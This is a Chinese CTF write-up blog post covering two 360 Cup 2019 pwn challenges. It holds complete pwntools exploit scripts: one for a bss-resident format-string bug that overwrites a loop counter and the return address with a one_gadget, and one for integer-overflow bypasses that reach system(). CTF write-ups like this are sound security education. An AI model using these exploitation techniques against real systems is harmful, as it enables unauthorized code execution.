360杯pwn题解 pwn1 格式化字符串的题目,不过不是常规的栈格式化字符串,放到了bss段里的格式化字符串,当初做的时候不知道,以为常规。。。剩半个钟的时候发觉了,然后也没做了,后面复盘把他做了,发觉也不是那么一蹴而就的,有点意思
还有个点我不清楚。当时远程泄露libc我是查不到的,所以这个我不知道该如何解决?希望各位大佬能指点一二
漏洞点 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 int __cdecl main (int argc, const char **argv, const char **envp) { int i; char buf; unsigned int v6; int *v7; v7 = &argc; v6 = __readgsdword(0x14 u); setbuf(stdout , 0 ); setbuf(stdin , 0 ); puts ("welcome to 360CTF_2019" ); for ( i = 0 ; i < N; ++i ) { puts ("1. Input" ); puts ("2. Exit" ); read(0 , &buf, 4u ); if ( atoi(&buf) != 1 ) { if ( atoi(&buf) != 2 ) return 0 ; break ; } puts ("It's time to input something" ); read(0 , &buff, 0x10 u); printf ((const char *)&buff); } puts ("Good luck to you!" ); return 0 ; }
漏洞点很明显就是格式化字符串,N数值为3,所以目前来说只有三次机会,注意buff是在bss段的
利用过程 格式化字符串第一步当然是泄露信息啊
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 gdb-peda$ stack 25 0000| 0xffb1738c ("!XUV\020pUV\020pUV\020" ) 0004| 0xffb17390 --> 0x56557010 ("%22$x %15$x \n" ) 0008| 0xffb17394 --> 0x56557010 ("%22$x %15$x \n" ) 0012| 0xffb17398 --> 0x10 0016| 0xffb1739c ("7WUV\374s\360\367\270oUVtt\261\377\001" ) 0020| 0xffb173a0 --> 0xf7f073fc --> 0xf7f08980 --> 0x0 0024| 0xffb173a4 --> 0x56556fb8 --> 0x1ed8 0028| 0xffb173a8 --> 0xffb17474 --> 0xffb183ba ("./7631454338ff70b1a6b1262f5f36beac" ) 0032| 0xffb173ac --> 0x1 0036| 0xffb173b0 --> 0x1 0040| 0xffb173b4 --> 0x0 0044| 0xffb173b8 --> 0xffb10a31 --> 0x0 0048| 0xffb173bc --> 0x84188400 0052| 0xffb173c0 --> 0xffb173e0 --> 0x1 0056| 0xffb173c4 --> 0x0 0060| 0xffb173c8 --> 0x0 0064| 0xffb173cc --> 0xf7d4e7e1 (<__libc_start_main+241>: add esp,0x10) 0068| 0xffb173d0 --> 0xf7f07000 --> 0x1d6d6c 0072| 0xffb173d4 --> 0xf7f07000 --> 0x1d6d6c 0076| 0xffb173d8 --> 0x0 0080| 0xffb173dc --> 0xf7d4e7e1 (<__libc_start_main+241>: add esp,0x10) 0084| 0xffb173e0 --> 0x1 0088| 0xffb173e4 --> 0xffb17474 --> 0xffb183ba ("./7631454338ff70b1a6b1262f5f36beac" ) 0092| 0xffb173e8 --> 0xffb1747c --> 0xffb183dd ("MYVIMRC=/home/NoOne/.vimrc" ) 0096| 0xffb173ec --> 0xffb17404 --> 0x0
第一次格式化字符串我选了两个地方,%22$x%15$x 也就是上面的64跟92处,为什么选这两个位置呢?因为第一个,存了libc地址,第二个存了栈地址,并且他还有二级指针指向栈,这是必须的,因为格式化字符串写在了bss段,要在栈里写东西的话,只能通过二级指针,第一步先将这个地址泄露出来,第二步,往这个地址里写东西,因为这个地址本身就是栈里的嘛,所以写进去后,地址就在栈里了,所以就可以跟常规格式化字符串一样利用了
还有一点,只有三次机会,并且限制了大小,我第一次泄露,第二次写入要写入的地址,第三次写入的时候长度明显不够,所以我需要增大次数,所以要找到变量i或者N的地址,N的地址我是找不到,所以我找了i,他是个有符号数,我把他高位改成0xff,就可以变成负数,经过测试,上述40处为i,80处为返回地址,
返回地址可以用find找到,找栈里的libc_start_main存在的地方就是ret
i调试下就出来了,三次会变化的地方
准备部分 1 2 3 4 5 6 7 8 9 10 11 def Input (content) : sla("2. Exit\n" , "1" ) sla("It's time to input something\n" , content) def write (size1, size2) : payload = "%{}p%{}$hn" .format(size1, 21 ) Input(payload) payload = "%{}p%{}$hn" .format(size2, 57 ) Input(payload) payload ="123456781234567" Input(payload)
地址泄露部分 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 payload = "%22$x%15$x" Input(payload) stack_addr = int(r(8 ), 16 ) ret = stack_addr - 0xa0 count = stack_addr - 0xc8 __libc_start_main_addr = int(r(8 ), 16 )-241 lg("stack_addr" , stack_addr) lg("ret_addr" , ret) lg("libc_start_main" , __libc_start_main_addr) lg("count" , count) libc_base = __libc_start_main_addr - libc.symbols['__libc_start_main' ] one_gadget = [0x1395ba , 0x1395bb ] one_gadget = libc_base + one_gadget[0 ] lg("one_gadget" , one_gadget) system_addr = libc_base + libc.symbols['system' ]
修改变量i 1 write(0xffff & count + 2 , 0xffff )
至于偏移为什么是这个,需要你们自己去调试,二级指针那个点位就是那个地方,还有修改后四位够了,栈里的位置,注意,这里是修改的是i的地址+2部分,也就是4个字节的前两个字节部分,修改为0xffff
修改ret地址 1 2 3 write(0xffff & ret, 0xffff & one_gadget) write((0xffff &ret) + 2 , (0xffff0000 & one_gadget)>>16 ) sla("2. Exit\n" , "2" )
这里先写后两个字节,在写前两个字节,写成one_gadget
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from pwn import *local = 1 host = '127.0.0.1' port = 10000 context.log_level = 'debug' exe = './7631454338ff70b1a6b1262f5f36beac' context.binary = exe elf = ELF(exe) libc = elf.libc if local: io = process(exe) else : io = remote(host,port) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) ru = lambda delim,drop=True : io.recvuntil(delim, drop) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda name,data : io.success(name + ": 0x%x" % data) def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) gdb.attach(io,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(io,"b *{}" .format(hex(addr))) def Input (content) : sla("2. Exit\n" , "1" ) sla("It's time to input something\n" , content) def write (size1, size2) : payload = "%{}p%{}$hn" .format(size1, 21 ) Input(payload) payload = "%{}p%{}$hn" .format(size2, 57 ) Input(payload) payload ="123456781234567" Input(payload) def exp () : payload = "%22$x%15$x" Input(payload) stack_addr = int(r(8 ), 16 ) ret = stack_addr - 0xa0 count = stack_addr - 0xc8 __libc_start_main_addr = int(r(8 ), 16 )-241 lg("stack_addr" , stack_addr) lg("ret_addr" , ret) lg("libc_start_main" , __libc_start_main_addr) lg("count" , count) libc_base = __libc_start_main_addr - libc.symbols['__libc_start_main' ] one_gadget = [0x1395ba , 0x1395bb ] one_gadget = libc_base + one_gadget[0 ] lg("one_gadget" , one_gadget) system_addr = libc_base + libc.symbols['system' ] write(0xffff & count + 2 , 0xffff ) write(0xffff & ret, 0xffff & one_gadget) write((0xffff &ret) + 2 , (0xffff0000 & one_gadget)>>16 ) sla("2. Exit\n" , "2" ) if __name__ == '__main__' : exp() io.interactive()
pwn2 这道题看着贼简单,打比赛的时候也不会做,细心想了下,我是傻逼,这道题流程很简单
1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { init(*&argc, argv, envp); if ( bypass1() && bypass2() ) system("cat ./flag" ); else puts ("failed!" ); return 0 ; }
过了两个判断就拿到flag了
bypass第一个判断 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 signed __int64 bypass1 () { int v1; int v2; char buf; char s; unsigned __int64 v6; v6 = __readfsqword(0x28 u); memset (&s, 0 , 0x10 uLL); puts ("x: " ); read(0 , &s, 0x10 uLL); puts ("y: " ); read(0 , &buf, 0x10 uLL); if ( strchr (&s, '-' ) || strchr (&buf, '-' ) ) return 0L L; v1 = atoi(&s); v2 = atoi(&buf); if ( v1 > 0x167 || v2 > 0x167 || v1 - v2 != 0x168 ) return 0L L; puts ("level1 success!" ); return 1L L; }
看着很简单,不能输入负数,然后两个数要求小于167,相减又要等于168,常规思路肯定是不行的,想想 -0x1 - (-0x169) = 0x168
这是我第一次做的时候想到的,然后实际上是误打误撞做出来的,做出来后我发觉那会不理解这道题,就重新理了下思路,发觉还是有可以学习的地方的
程序限制了不能输入负数
限制了大小
还有注意一点v1跟v2是int 4字节的,atoi转超过int最大的数值的话,会发生截断,只保留后低四个字节的值 假设输入的是0x7FFFFFFFF 7个F他只会取到后面的0xFFFFFFFF 所以限制输入不能带-号,而实际上内存里存值是只分大小的,所以我存0xFFFFFFFF 按有符号处理的话就是-1
s串跟buf串是相邻的,填满了buf的话,会将s里的值也一起传递过来,一起转成数字,就变成一个比较大的数了
坑点: atoi函数遇到\n会停止,没有遇到就继续。。原来我用sendafter一直不行,坑了我好久
最后我用0x167-(-1)绕过了这个判断 就是输入0x167跟0x7FFFFFFFF,绕过这个判断
bypass第二个判断 1 2 3 4 5 6 7 8 9 10 11 12 13 _BOOL8 bypass2 () { int v1; int v2; unsigned __int64 v3; v3 = __readfsqword(0x28 u); v1 = 0 ; v2 = 0 ; puts ("Please input x and y:" ); __isoc99_scanf("%d %d" , &v1, &v2); return v1 > 1 && v2 > 360 && v1 * v2 == 360 ; }
这个的话,也是利用溢出绕过,说下怎么求溢出的吧,口算也可以的嘞,不过脚本能跑就不动脑了
我要达到的数值是00000168, 为任意数值,反正后4个字节得是0x168,跑一下
1 2 3 4 for i in range(1 ,20 ): print(i, 0x100000168 /float(i))
结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 (1 , 4294967656.0 ) (2 , 2147483828.0 ) (3 , 1431655885.3333333 ) (4 , 1073741914.0 ) (5 , 858993531.2 ) (6 , 715827942.6666666 ) (7 , 613566808.0 ) (8 , 536870957.0 ) (9 , 477218628.4444444 ) (10 , 429496765.6 ) (11 , 390451605.09090906 ) (12 , 357913971.3333333 ) (13 , 330382127.38461536 ) (14 , 306783404.0 ) (15 , 286331177.06666666 ) (16 , 268435478.5 ) (17 , 252645156.2352941 ) (18 , 238609314.2222222 ) (19 , 226050929.2631579 )
我选的要是不带小数的,我看着8吉利就选了他了, 所以输入为8跟536870957
所以最后可以拿到flag了
1 2 3 4 [*] Process './5b7420a5bcdc1da85bccc62dcea4c7b8' stopped with exit code 0 (pid 16098) [DEBUG] Received 0x27 bytes: 'cat: ./flag: No such file or directory\n' cat: ./flag: No such file or directory
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *local = True exe = '5b7420a5bcdc1da85bccc62dcea4c7b8' elf = context.binary = ELF(exe) host = '127.0.0.1' port = 10000 context.log_level = 'debug' libc = elf.libc if local: io = process(exe) else : io = remote(host,port) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) ru = lambda delim,drop=True : io.recvuntil(delim, drop) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) def exp () : sla("x: \n" , str(0x167 )) sla("y: \n" , str(0x7ffffffff )) sl(str(0x8 ) + " " + str(536870957 )) if __name__ == '__main__' : exp() io.interactive()
总结 学了下非栈里的格式化字符串利用,还有整数溢出部分详细的了解调试了下,希望能学到更多新知识
本文作者 :NoOne本文地址 : https://noonegroup.xyz/posts/3dac6f4c/ 版权声明 :转载请注明出处!